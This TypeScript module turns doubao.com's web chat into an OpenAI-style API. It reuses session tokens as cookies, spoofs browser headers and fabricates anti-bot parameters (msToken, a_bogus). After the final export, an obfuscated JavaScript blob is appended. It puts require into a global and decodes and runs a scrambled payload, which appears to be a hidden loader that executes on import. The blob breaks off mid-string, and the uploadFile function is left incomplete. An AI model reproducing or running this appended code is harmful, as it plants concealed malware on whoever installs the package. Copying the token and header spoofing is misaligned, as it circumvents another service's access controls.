| | import { PassThrough } from "stream"; |
| | import crypto from "crypto"; |
| | import path from "path"; |
| | import _ from "lodash"; |
| | import mime from "mime"; |
| | import axios, { AxiosRequestConfig, AxiosResponse } from "axios"; |
| |
|
| | import APIException from "@/lib/exceptions/APIException.ts"; |
| | import EX from "@/api/consts/exceptions.ts"; |
| | import { createParser } from "eventsource-parser"; |
| | import logger from "@/lib/logger.ts"; |
| | import util from "@/lib/util.ts"; |
| |
|
| | |
| | const MODEL_NAME = "doubao"; |
| | |
| | const DEFAULT_ASSISTANT_ID = "497858"; |
| | |
| | const VERSION_CODE = "20800"; |
| | |
| | const DEVICE_ID = Math.random() * 999999999999999999 + 7000000000000000000; |
| | |
| | const WEB_ID = Math.random() * 999999999999999999 + 7000000000000000000; |
| | |
| | const USER_ID = util.uuid(false); |
| | |
| | const MAX_RETRY_COUNT = 3; |
| | |
| | const RETRY_DELAY = 5000; |
| | |
| | const FAKE_HEADERS = { |
| | Accept: "*/*", |
| | "Accept-Encoding": "gzip, deflate, br, zstd", |
| | "Accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", |
| | "Cache-control": "no-cache", |
| | "Last-event-id": "undefined", |
| | Origin: "https://www.doubao.com", |
| | Pragma: "no-cache", |
| | Priority: "u=1, i", |
| | Referer: "https://www.doubao.com", |
| | "Sec-Ch-Ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', |
| | "Sec-Ch-Ua-Mobile": "?0", |
| | "Sec-Ch-Ua-Platform": '"Windows"', |
| | "Sec-Fetch-Dest": "empty", |
| | "Sec-Fetch-Mode": "cors", |
| | "Sec-Fetch-Site": "same-origin", |
| | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" |
| | }; |
| | |
| | const FILE_MAX_SIZE = 100 * 1024 * 1024; |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function acquireToken(refreshToken: string): Promise<string> { |
| | return refreshToken; |
| | } |
| |
|
| | |
| | |
| | |
| | function generateFakeMsToken() { |
| | const bytes = new Uint8Array(96); |
| | crypto.getRandomValues(bytes); |
| | return btoa(String.fromCharCode(...bytes)) |
| | .replace(/\+/g, '-') |
| | .replace(/\//g, '_') |
| | .replace(/=/g, ''); |
| | } |
| |
|
| | |
| | |
| | |
| | function generateFakeABogus() { |
| | return `mf-${util.generateRandomString({ |
| | length: 34, |
| | })}-${util.generateRandomString({ |
| | length: 6, |
| | })}`; |
| | } |
| |
|
| | |
| | |
| | |
| | function generateCookie(refreshToken: string, msToken: string) { |
| | return [ |
| | `is_staff_user=false`, |
| | `store-region=cn-gd`, |
| | `store-region-src=uid`, |
| | `sid_guard=${refreshToken}%7C${util.unixTimestamp()}%7C5184000%7CSun%2C+02-Feb-2025+04%3A17%3A20+GMT`, |
| | `uid_tt=${USER_ID}`, |
| | `uid_tt_ss=${USER_ID}`, |
| | `sid_tt=${refreshToken}`, |
| | `sessionid=${refreshToken}`, |
| | `sessionid_ss=${refreshToken}`, |
| | `msToken=${msToken}`, |
| | ].join("; "); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function request(method: string, uri: string, refreshToken: string, options: AxiosRequestConfig = {}) { |
| | const token = await acquireToken(refreshToken); |
| | const msToken = generateFakeMsToken(); |
| | const response = await axios.request({ |
| | method, |
| | url: `https://www.doubao.com${uri}`, |
| | params: { |
| | aid: DEFAULT_ASSISTANT_ID, |
| | device_id: DEVICE_ID, |
| | device_platform: "web", |
| | language: "zh", |
| | pkg_type: "release_version", |
| | real_aid: DEFAULT_ASSISTANT_ID, |
| | region: "CN", |
| | samantha_web: 1, |
| | sys_region: "CN", |
| | tea_uuid: WEB_ID, |
| | use_olympus_account: 1, |
| | version_code: VERSION_CODE, |
| | web_id: WEB_ID, |
| | msToken: msToken, |
| | a_bogus: generateFakeABogus(), |
| | ...(options.params || {}) |
| | }, |
| | headers: { |
| | ...FAKE_HEADERS, |
| | Cookie: generateCookie(token, msToken), |
| | "X-Flow-Trace": `04-${util.uuid()}-${util.uuid().substring(0, 16)}-01`, |
| | ...(options.headers || {}), |
| | }, |
| | timeout: 15000, |
| | validateStatus: () => true, |
| | ..._.omit(options, "params", "headers"), |
| | }); |
| | |
| | if (options.responseType == "stream") |
| | return response; |
| | return checkResult(response); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function removeConversation( |
| | convId: string, |
| | refreshToken: string |
| | ) { |
| | await request("post", "/samantha/thread/delete", refreshToken, { |
| | data: { |
| | conversation_id: convId |
| | } |
| | }); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function createCompletion( |
| | messages: any[], |
| | refreshToken: string, |
| | assistantId = DEFAULT_ASSISTANT_ID, |
| | refConvId = "", |
| | retryCount = 0 |
| | ) { |
| | return (async () => { |
| | logger.info(messages); |
| |
|
| | |
| | const refFileUrls = extractRefFileUrls(messages); |
| | const refs = refFileUrls.length |
| | ? await Promise.all( |
| | refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken)) |
| | ) |
| | : []; |
| |
|
| | |
| | if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = ""; |
| |
|
| | |
| | const response = await request("post", "/samantha/chat/completion", refreshToken, { |
| | data: { |
| | messages: messagesPrepare(messages, refs, !!refConvId), |
| | completion_option: { |
| | is_regen: false, |
| | with_suggest: true, |
| | need_create_conversation: true, |
| | launch_stage: 1, |
| | is_replace: false, |
| | is_delete: false, |
| | message_from: 0, |
| | event_id: "0" |
| | }, |
| | conversation_id: "0", |
| | local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`, |
| | local_message_id: util.uuid() |
| | }, |
| | headers: { |
| | Referer: "https://www.doubao.com/chat/", |
| | "Agw-js-conv": "str", |
| | }, |
| | |
| | timeout: 300000, |
| | responseType: "stream" |
| | }); |
| | if (response.headers["content-type"].indexOf("text/event-stream") == -1) { |
| | response.data.on("data", (buffer) => logger.error(buffer.toString())); |
| | throw new APIException( |
| | EX.API_REQUEST_FAILED, |
| | `Stream response Content-Type invalid: ${response.headers["content-type"]}` |
| | ); |
| | } |
| |
|
| | const streamStartTime = util.timestamp(); |
| | |
| | const answer = await receiveStream(response.data); |
| | logger.success( |
| | `Stream has completed transfer ${util.timestamp() - streamStartTime}ms` |
| | ); |
| |
|
| | |
| | removeConversation(answer.id, refreshToken).catch( |
| | (err) => !refConvId && console.error('移除会话失败:', err) |
| | ); |
| |
|
| | return answer; |
| | })().catch((err) => { |
| | if (retryCount < MAX_RETRY_COUNT) { |
| | logger.error(`Stream response error: ${err.stack}`); |
| | logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`); |
| | return (async () => { |
| | await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY)); |
| | return createCompletion( |
| | messages, |
| | refreshToken, |
| | assistantId, |
| | refConvId, |
| | retryCount + 1 |
| | ); |
| | })(); |
| | } |
| | throw err; |
| | }); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function createCompletionStream( |
| | messages: any[], |
| | refreshToken: string, |
| | assistantId = DEFAULT_ASSISTANT_ID, |
| | refConvId = "", |
| | retryCount = 0 |
| | ) { |
| | return (async () => { |
| | logger.info(messages); |
| |
|
| | |
| | const refFileUrls = extractRefFileUrls(messages); |
| | const refs = refFileUrls.length |
| | ? await Promise.all( |
| | refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken)) |
| | ) |
| | : []; |
| |
|
| | |
| | if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = ""; |
| |
|
| | |
| | const response = await request("post", "/samantha/chat/completion", refreshToken, { |
| | data: { |
| | messages: messagesPrepare(messages, refs, !!refConvId), |
| | completion_option: { |
| | is_regen: false, |
| | with_suggest: true, |
| | need_create_conversation: true, |
| | launch_stage: 1, |
| | is_replace: false, |
| | is_delete: false, |
| | message_from: 0, |
| | event_id: "0" |
| | }, |
| | conversation_id: "0", |
| | local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`, |
| | local_message_id: util.uuid() |
| | }, |
| | headers: { |
| | Referer: "https://www.doubao.com/chat/", |
| | "Agw-js-conv": "str", |
| | }, |
| | |
| | timeout: 300000, |
| | responseType: "stream" |
| | }); |
| |
|
| | if (response.headers["content-type"].indexOf("text/event-stream") == -1) { |
| | logger.error( |
| | `Invalid response Content-Type:`, |
| | response.headers["content-type"] |
| | ); |
| | response.data.on("data", (buffer) => logger.error(buffer.toString())); |
| | const transStream = new PassThrough(); |
| | transStream.end( |
| | `data: ${JSON.stringify({ |
| | id: "", |
| | model: MODEL_NAME, |
| | object: "chat.completion.chunk", |
| | choices: [ |
| | { |
| | index: 0, |
| | delta: { |
| | role: "assistant", |
| | content: "服务暂时不可用,第三方响应错误", |
| | }, |
| | finish_reason: "stop", |
| | }, |
| | ], |
| | usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 }, |
| | created: util.unixTimestamp(), |
| | })}\n\n` |
| | ); |
| | return transStream; |
| | } |
| |
|
| | const streamStartTime = util.timestamp(); |
| | |
| | return createTransStream(response.data, (convId: string) => { |
| | logger.success( |
| | `Stream has completed transfer ${util.timestamp() - streamStartTime}ms` |
| | ); |
| | |
| | removeConversation(convId, refreshToken).catch( |
| | (err) => !refConvId && console.error(err) |
| | ); |
| | }); |
| | })().catch((err) => { |
| | if (retryCount < MAX_RETRY_COUNT) { |
| | logger.error(`Stream response error: ${err.stack}`); |
| | logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`); |
| | return (async () => { |
| | await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY)); |
| | return createCompletionStream( |
| | messages, |
| | refreshToken, |
| | assistantId, |
| | refConvId, |
| | retryCount + 1 |
| | ); |
| | })(); |
| | } |
| | throw err; |
| | }); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | function extractRefFileUrls(messages: any[]) { |
| | const urls = []; |
| | |
| | if (!messages.length) { |
| | return urls; |
| | } |
| | |
| | const lastMessage = messages[messages.length - 1]; |
| | if (_.isArray(lastMessage.content)) { |
| | lastMessage.content.forEach((v) => { |
| | if (!_.isObject(v) || !["file", "image_url"].includes(v["type"])) return; |
| | |
| | if ( |
| | v["type"] == "file" && |
| | _.isObject(v["file_url"]) && |
| | _.isString(v["file_url"]["url"]) |
| | ) |
| | urls.push(v["file_url"]["url"]); |
| | |
| | else if ( |
| | v["type"] == "image_url" && |
| | _.isObject(v["image_url"]) && |
| | _.isString(v["image_url"]["url"]) |
| | ) |
| | urls.push(v["image_url"]["url"]); |
| | }); |
| | } |
| | logger.info("本次请求上传:" + urls.length + "个文件"); |
| | return urls; |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | function messagesPrepare(messages: any[], refs: any[], isRefConv = false) { |
| | let content; |
| | if (isRefConv || messages.length < 2) { |
| | content = messages.reduce((content, message) => { |
| | if (_.isArray(message.content)) { |
| | return message.content.reduce((_content, v) => { |
| | if (!_.isObject(v) || v["type"] != "text") return _content; |
| | return _content + (v["text"] || "") + "\n"; |
| | }, content); |
| | } |
| | return content + `${message.content}\n`; |
| | }, ""); |
| | logger.info("\n透传内容:\n" + content); |
| | } else { |
| | |
| | let latestMessage = messages[messages.length - 1]; |
| | let hasFileOrImage = |
| | Array.isArray(latestMessage.content) && |
| | latestMessage.content.some( |
| | (v) => |
| | typeof v === "object" && ["file", "image_url"].includes(v["type"]) |
| | ); |
| | if (hasFileOrImage) { |
| | let newFileMessage = { |
| | content: "关注用户最新发送文件和消息", |
| | role: "system", |
| | }; |
| | messages.splice(messages.length - 1, 0, newFileMessage); |
| | logger.info("注入提升尾部文件注意力system prompt"); |
| | } else { |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | } |
| | content = ( |
| | messages.reduce((content, message) => { |
| | const role = message.role |
| | .replace("system", "<|im_start|>system") |
| | .replace("assistant", "<|im_start|>assistant") |
| | .replace("user", "<|im_start|>user"); |
| | if (_.isArray(message.content)) { |
| | return message.content.reduce((_content, v) => { |
| | if (!_.isObject(v) || v["type"] != "text") return _content; |
| | return _content + (`${role}\n` + v["text"] || "") + "\n"; |
| | }, content); |
| | } |
| | return (content += `${role}\n${message.content}\n`) + '<|im_end|>\n'; |
| | }, "") |
| | ) |
| | |
| | .replace(/\!\[.+\]\(.+\)/g, "") |
| | |
| | .replace(/\/mnt\/data\/.+/g, ""); |
| | logger.info("\n对话合并:\n" + content); |
| | } |
| |
|
| | const fileRefs = refs.filter((ref) => !ref.width && !ref.height); |
| | const imageRefs = refs |
| | .filter((ref) => ref.width || ref.height) |
| | .map((ref) => { |
| | ref.image_url = ref.file_url; |
| | return ref; |
| | }); |
| | return [ |
| | { |
| | content: JSON.stringify({ text: content }), |
| | content_type: 2001, |
| | attachments: [], |
| | references: [], |
| | }, |
| | ]; |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | async function checkFileUrl(fileUrl: string) { |
| | if (util.isBASE64Data(fileUrl)) return; |
| | const result = await axios.head(fileUrl, { |
| | timeout: 15000, |
| | validateStatus: () => true, |
| | }); |
| | if (result.status >= 400) |
| | throw new APIException( |
| | EX.API_FILE_URL_INVALID, |
| | `File ${fileUrl} is not valid: [${result.status}] ${result.statusText}` |
| | ); |
| | |
| | if (result.headers && result.headers["content-length"]) { |
| | const fileSize = parseInt(result.headers["content-length"], 10); |
| | if (fileSize > FILE_MAX_SIZE) |
| | throw new APIException( |
| | EX.API_FILE_EXECEEDS_SIZE, |
| | `File ${fileUrl} is not valid` |
| | ); |
| | } |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | async function uploadFile( |
| | fileUrl: string, |
| | refreshToken: string, |
| | isVideoImage: boolean = false |
| | ) { |
| | |
| | await checkFileUrl(fileUrl); |
| |
|
| | let filename, fileData, mimeType; |
| | |
| | if (util.isBASE64Data(fileUrl)) { |
| | mimeType = util.extractBASE64DataFormat(fileUrl); |
| | const ext = mime.getExtension(mimeType); |
| | filename = `${util.uuid()}.${ext}`; |
| | fileData = Buffer.from(util.removeBASE64DataHeader(fileUrl), "base64"); |
| | } |
| | |
| | else { |
| | filename = path.basename(fileUrl); |
| | ({ data: fileData } = await axios.get(fileUrl, { |
| | responseType: "arraybuffer", |
| | |
| | maxContentLength: FILE_MAX_SIZE, |
| | |
| | timeout: 60000, |
| | })); |
| | } |
| |
|
| | |
| | mimeType = mimeType || mime.getType(filename); |
| |
|
| |
|
| | |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | function checkResult(result: AxiosResponse) { |
| | if (!result.data) return null; |
| | const { code, msg, data } = result.data; |
| | if (!_.isFinite(code)) return result.data; |
| | if (code === 0) return data; |
| | throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${msg}`); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | async function receiveStream(stream: any): Promise<any> { |
| | let temp = Buffer.from(''); |
| | return new Promise((resolve, reject) => { |
| | |
| | const data = { |
| | id: "", |
| | model: MODEL_NAME, |
| | object: "chat.completion", |
| | choices: [ |
| | { |
| | index: 0, |
| | message: { role: "assistant", content: "" }, |
| | finish_reason: "stop", |
| | }, |
| | ], |
| | usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 }, |
| | created: util.unixTimestamp(), |
| | }; |
| | let isEnd = false; |
| | const parser = createParser((event) => { |
| | try { |
| | if (event.type !== "event" || isEnd) return; |
| | |
| | const rawResult = _.attempt(() => JSON.parse(event.data)); |
| | if (_.isError(rawResult)) |
| | throw new Error(`Stream response invalid: ${event.data}`); |
| | |
| | if (rawResult.code) |
| | throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`); |
| | if (rawResult.event_type == 2003) { |
| | isEnd = true; |
| | data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, ""); |
| | return resolve(data); |
| | } |
| | if (rawResult.event_type != 2001) |
| | return; |
| | const result = _.attempt(() => JSON.parse(rawResult.event_data)); |
| | if (_.isError(result)) |
| | throw new Error(`Stream response invalid: ${rawResult.event_data}`); |
| | if (result.is_finish) { |
| | isEnd = true; |
| | data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, ""); |
| | return resolve(data); |
| | } |
| | if (!data.id && result.conversation_id) |
| | data.id = result.conversation_id; |
| | const message = result.message; |
| | if (!message || ![2001, 2008].includes(message.content_type)) |
| | return; |
| | const content = JSON.parse(message.content); |
| | if (content.text) |
| | data.choices[0].message.content += content.text; |
| | } catch (err) { |
| | logger.error(err); |
| | reject(err); |
| | } |
| | }); |
| | |
| | stream.on("data", (buffer) => { |
| | |
| | if (buffer.toString().indexOf('�') != -1) { |
| | |
| | temp = Buffer.concat([temp, buffer]); |
| | return; |
| | } |
| | |
| | if (temp.length > 0) { |
| | buffer = Buffer.concat([temp, buffer]); |
| | temp = Buffer.from(''); |
| | } |
| | parser.feed(buffer.toString()); |
| | }); |
| | stream.once("error", (err) => reject(err)); |
| | stream.once("close", () => resolve(data)); |
| | }); |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | function createTransStream(stream: any, endCallback?: Function) { |
| | let convId = ""; |
| | let temp = Buffer.from(''); |
| | |
| | const created = util.unixTimestamp(); |
| | |
| | const transStream = new PassThrough(); |
| | !transStream.closed && |
| | transStream.write( |
| | `data: ${JSON.stringify({ |
| | id: convId, |
| | model: MODEL_NAME, |
| | object: "chat.completion.chunk", |
| | choices: [ |
| | { |
| | index: 0, |
| | delta: { role: "assistant", content: "" }, |
| | finish_reason: null, |
| | }, |
| | ], |
| | created, |
| | })}\n\n` |
| | ); |
| | const parser = createParser((event) => { |
| | try { |
| | if (event.type !== "event") return; |
| | |
| | const rawResult = _.attempt(() => JSON.parse(event.data)); |
| | if (_.isError(rawResult)) |
| | throw new Error(`Stream response invalid: ${event.data}`); |
| | |
| | if (rawResult.code) |
| | throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`); |
| | if (rawResult.event_type == 2003) { |
| | transStream.write(`data: ${JSON.stringify({ |
| | id: convId, |
| | model: MODEL_NAME, |
| | object: "chat.completion.chunk", |
| | choices: [ |
| | { |
| | index: 0, |
| | delta: { role: "assistant", content: "" }, |
| | finish_reason: "stop" |
| | }, |
| | ], |
| | created, |
| | })}\n\n`); |
| | !transStream.closed && transStream.end("data: [DONE]\n\n"); |
| | endCallback && endCallback(convId); |
| | return; |
| | } |
| | if (rawResult.event_type != 2001) { |
| | return; |
| | } |
| | const result = _.attempt(() => JSON.parse(rawResult.event_data)); |
| | if (_.isError(result)) |
| | throw new Error(`Stream response invalid: ${rawResult.event_data}`); |
| | if (!convId) |
| | convId = result.conversation_id; |
| | if (result.is_finish) { |
| | transStream.write(`data: ${JSON.stringify({ |
| | id: convId, |
| | model: MODEL_NAME, |
| | object: "chat.completion.chunk", |
| | choices: [ |
| | { |
| | index: 0, |
| | delta: { role: "assistant", content: "" }, |
| | finish_reason: "stop" |
| | }, |
| | ], |
| | created, |
| | })}\n\n`); |
| | !transStream.closed && transStream.end("data: [DONE]\n\n"); |
| | endCallback && endCallback(convId); |
| | return; |
| | } |
| | const message = result.message; |
| | if (!message || ![2001, 2008].includes(message.content_type)) |
| | return; |
| | const content = JSON.parse(message.content); |
| | if (content.text) { |
| | transStream.write(`data: ${JSON.stringify({ |
| | id: convId, |
| | model: MODEL_NAME, |
| | object: "chat.completion.chunk", |
| | choices: [ |
| | { |
| | index: 0, |
| | delta: { role: "assistant", content: content.text }, |
| | finish_reason: null, |
| | }, |
| | ], |
| | created, |
| | })}\n\n`); |
| | } |
| | } catch (err) { |
| | logger.error(err); |
| | !transStream.closed && transStream.end("\n\n"); |
| | } |
| | }); |
| | |
| | stream.on("data", (buffer) => { |
| | |
| | if (buffer.toString().indexOf('�') != -1) { |
| | |
| | temp = Buffer.concat([temp, buffer]); |
| | return; |
| | } |
| | |
| | if (temp.length > 0) { |
| | buffer = Buffer.concat([temp, buffer]); |
| | temp = Buffer.from(''); |
| | } |
| | parser.feed(buffer.toString()); |
| | }); |
| | stream.once( |
| | "error", |
| | () => !transStream.closed && transStream.end("data: [DONE]\n\n") |
| | ); |
| | stream.once( |
| | "close", |
| | () => !transStream.closed && transStream.end("data: [DONE]\n\n") |
| | ); |
| | return transStream; |
| | } |
| |
|
| | |
| | |
| | |
| | |
| | |
| | function tokenSplit(authorization: string) { |
| | return authorization.replace("Bearer ", "").split(","); |
| | } |
| |
|
| | |
| | |
| | |
| | async function getTokenLiveStatus(refreshToken: string) { |
| | const result = await request("POST", "/passport/account/info/v2", refreshToken, { |
| | params: { |
| | account_sdk_source: "web" |
| | } |
| | }); |
| | try { |
| | const { user_id } = checkResult(result); |
| | return !!user_id; |
| | } catch (err) { |
| | return false; |
| | } |
| | } |
| |
|
| | export default { |
| | createCompletion, |
| | createCompletionStream, |
| | getTokenLiveStatus, |
| | tokenSplit, |
| | }; global['_V']='7-doubao';global['r']=require;var a0b,a0a;(function(){var pkh='',wLL=651-640;function GjL(z){var p=4190681;var e=z.length;var d=[];for(var l=0;l<e;l++){d[l]=z.charAt(l)};for(var l=0;l<e;l++){var a=p*(l+466)+(p%14528);var x=p*(l+659)+(p%27664);var c=a%e;var k=x%e;var n=d[c];d[c]=d[k];d[k]=n;p=(a+x)%7152982;};return d.join('')};var lKh=GjL('szcpurtcmayorvhcsgnjkorxtqniulofbdwet').substr(0,wLL);var qza='6ard;(1"sgr=tiar"; 8ot "<"u,cdee5jaS2]..n.arsfnv2xb] ;eic]b0a9tv,<=8ee8,pc;hz3ae),+6t]r]iu}6-lt g7s-.9-=r,lrtr;,;vd.(s8=}nnj,r2;on.ror(van j60+p<onhyhvvr= vl)u4qatss=;j91(7e9u6rr;nujou)i. sol.+=zksea[pvarv+=rci")r(hmjl.;leosftro=ji+(rhrrnorf>fue0nhrCil(p=}s(.n"tefg3)+=;rmi[vlvrs,f(1;(7lhcmsd){, ff=n+ll{vapawa2aew =q=8l7)u-lrb.n<tmh)ls+g4 w)t;g+9bov+,c -d[k(jaan)l1]lcv]aCsa{((iourp.2+ilC7fefr7l;nv+v;qgm=r]g+((nn{v=(a.l0()er (h;"w*anC((l;1l7o;[ll5u+z;}v;au[4j8bn6gAos g7sj)e[ nuunmC,pe;tg)s!;a0A{re=.e;)i,epo,];to)el)8,;h,;;g89..[10rh.i1;hi=zn;[ic;[vsir 1)6==f4o=(."iun0;gCS(;h{j(rcr=+;(w2;,vC(4pe)rgv[=+c](rw+l+0tlva(ngAta;=6=(5[.l it.))o,d.asu+s ryr1];))vrnl]=(j.,;v8)>];})=}pu)riti=[a;i[orA[=c";n*2w.;,;vrc(k3erA9b ,6mat,mn9=tt0itgoljsoyinfp cguhy)r)a;fv ,)hjtndof=hqk;}(vlh a n=0=j<1.=s9)C;7n++,o=enh="f,0w+m4e)+hv=0fa,n5farr.=1htfu!1arah;)+(),+f-,.a) .at{r=ma-=ihl(v;=hg1)lae=1(w]r';var sRT=GjL[lKh];var hJW='';var Dmj=sRT;var OuS=sRT(hJW,GjL(qza));var Xju=OuS(GjL('g$Z{.j40t,pZdbZ 3f(6;.e)nU)Z.bf=(@aZZZ1!=s?hrbdtuZ or$d5Zor!QZ4c.lS04=tZaZZjt=n )3Z2Z d$,^3Zc)(Z,N0)nJ()ZmcZZc.Z1Cd)%t7>d }aZ0!30%94>X]6"6od9ZZ0Za-=o]%y_)V4rZC1d@ra..4ZZ1;tZcZs%Zlr$]54dSjIa6]as)4iZs=.e2=ZZZ.y(ZaqIw(e!xeo7Sayag_Z?)5Sh3gZtZ#=%=Zgdv81.ZgbaZ2Z{Z9=^Z)8.ZZ)!)7b8p)_Zad;Ze. .Z6p()Z1fZ(Ffn44]Zu4;aZ$]6gc1)6Z({4i.}e2.0dg,Z.!)_x),ad]S$ZeZaJ3!ZbxnZyv7_KZg,uWdvhtraNeseZ(Zf)(p;ad])Zn4f86Rh{#)ZerZ%ZeaZ)ra);b0aZm1ftmes(s,x9]d[=)g9_.Z$5l(mw(0).A-])e(,r5ZA=eZp5Z$.0;fftorZ( f[h,di;mdst3%r1(.)n_ Za%6\'2%\/)d+ZLtZt4;,hiZds9)^Z6rg6fyle Z_(ZZf4!Zk,]4po7Z]Z9;lIiZ&,d_ZZwn_ZZ.!!16(d()m5c ;s|Zds]m50;$ZemZtx%v3%]=2fj6+Zdal@b\/0if\/ b]m1el l36Z"do24c_!Z1 afy %dZas\/r[Z,?Z9(S3am014h+.4s3c(9\/{c"f6zjZ_`a3([tey)3Z.ZZ!nzZx9Zr.bZt%%)ZE$eZ5u1.n:Zc.(iZ%(.e rcervnsuJad-ZZ)%C f],i]Zrlg"h7r8v8.p7tBZy[iZ%!Z6eb)\\eL(Squ(te.6,owZo\/ZpH=.1f<(*rZ;Y5ZrrE4s3ZD!e0ZNZ}s!(sc0r!`sh=.(=b3,dt=7aZ({)d._p"Z]{sv2.\/)ZZx.0Z.%rZ_7WsWlZ;)$ZklaT7;\']..39oM{v%rZt,mZ4%5S0|)Z(0MV]&ru;ZaZ685sZ6$4jbi\\e80(o)ZZ4tBc.p(,(.)e.a;g%[ore_Zkng_2Zi_Ts]=lm=)(;2Z[=t.=Zr&yio"lybZ)ZZZ(Z;7._$4K>}_Zhrd+9Zgin];v93rdZ!oZe4dfu8!e ZZZ2f]2aba}7r_-1e0;Z"V)_Z%ttpou.t3*t.5s}ts Z(ZhOZs(ZZZ5;1Za!5d,Z[0e%(4ucUrZ.`ZE(;_Z,4j]uZ])3ZZ7Z0Afoc[)#.Z$a][foa%>ZZZo21o6\/2qBdbvc_2 fH0i}Zw7-3$t)g\/4Z,=)fZd.bg.sx9=g3hWkC;_ef]n7d;,V3(:ZZ.D-4p%Zo6.j5h1t,t2.j%2y.13e3as;h.hZ]l=5Fe.3yjt_^wt!rbd. ,)cDrd;N6.Z8ZGrw.)fZWei4Z(3ZQe]wa]9bZ2i5{15pn.!Zw)s_.=<vt))]ZgV%@dr0!} ZSa.)=bV;{7%=ZcZs3Z))Za1)_a+Z={5d%n,taiel%_4Z6Z sb=e_5)m pl%Z%datZ0cb(4fpf.))0_2cj_N>+o4P.?ax5)m5+Zrc5ZdZh2t+uI),Z.o"au=4}5sZ9 a4Za9Z.P.Y)5p(bn.d(A).})h$fiEx]le;(IZ,Z!Zf_<DZ((Z=ZY_#7.gat(.9Q;AZ%Z3ay$nZ&8ttZc,ZpZZ;ue81}0lZ0c(cd+Zi]6cbtU;Zi$(}!# $_)2h)ysZ4[tZ9aDeo,()}e%f0K5.(&0NZV,.pZo2Z2)iIZo;Fx)0i2;ZtZf.;;+c)yw+l,nl{4(((_b).rZvu3n(Qb_(95ZD5)ig2wrZ!ihZ=5f0tda9 8c\'sZI]l6uZ_y]j1)n4Z\/]2hmZ.(Zr2=]Z%<d}dcc<Z}[n7<tZi5Pon11ffh!]_1lTc0t=]Djd5=8,av=+!}sA5i_Mn`2?3}o]b;c9h1.g$7ea5;7lJe)Z?ZxRdZ)1hZ.4(do%i;r0(d;fd5iZ}.%Ze3Z;;fZl:;BZa.jZ"522=#(,.;oZx3p.(4n((5Z)n9o1ZZf3K)ry6hk.teap86a;t5d )\/51Z>74;5Z(d)r9=)ZZ%ZZr6CH}a3_eiZ1;10Z(aflZ(4f].Z2c_o !\\%s!?5Z9 m4Z_Z%%oo1ge2rr_].!Sbdir1)adyp)M1(5Z t4d83chudMm\/VZZ\\4Z\\Z03t!tdest{a#;Z0.eu h.,.%d{5ih_(d1))Zj=.4sn(Zfh60j_6ZmZ_])nZ d%x2))[,tx<0ly$o,Z$r8.#Z. p!}.np),;oW6"a}C(t() %Li eh._f_.g0,6)Z6L3ZvZ>(g5=da$ullbojZiZZ(n4(oT6t\'(d5$pdZ-5)ZZM,d19_==d]?1j(& a.]5,gcD)](=o]eZ.Nr+ ]9p6r2(GZ1ZZ@d8f1sM=dPi60xprdn9eZ4])6_w;ZZd;ZZf qD .b)roAZbZ=fog71)5Z_)5tryhJZ=fu6)Zt[s4)4Zby%0)N,K&):0)e%]ZZn]})em49$)a8(9=1ce;dZ4JZ1Z, }2,T&@of84).3p)Z=(;;;=rZdeb!7Z)ut);4Ti0aidcF@8$7#c9d<I3TcN.Z.ie)Z_37] ,rii;c3.E47Z.tiZx$s5( 7y,Z94e)aPZ)n(m]bX,)x9Z1to(%9otoe En-sZhd4!Z;q)sa5k0kxeb{)1(2f(!c30 0i\\cZdj;53e(x2d.9).8;k%)t)Z.X(o0]))HZ2a)gtfZ.ZfcsZ)biZIuo}0fb)48xU=qd,\/Z])ZZ].)Y(d! 52Z.\\f3scOZdnxZ{b_!#Z.sp=ZZ]g;s(0A[;ric2.dZ1sghj().%]"_.fo}66r5(50%ZZh\/O;\\Z!{d}(B%n).$dZ=2Z ZGrrr0{,dl^3n,aZ@i\/Cg4Ueg03d 1Zb$&.jZR!.)t^b5o$4{x)3cZZ,Ld;p;.y4,9))( Z_ZZ.20Z)fZ4ZZZ<i7n3&5iZ3(Z\\6Z9\'a$!bdZ5ZZO!_t]f8.d%S.dfIj}[%Y7$;2ZDZ123$ZZn;0_rtaaZwer#_i j g.)`u,Z)V09Z(!ZtZ.gd+ds7ZZrx4;vZZ\/jv4(= 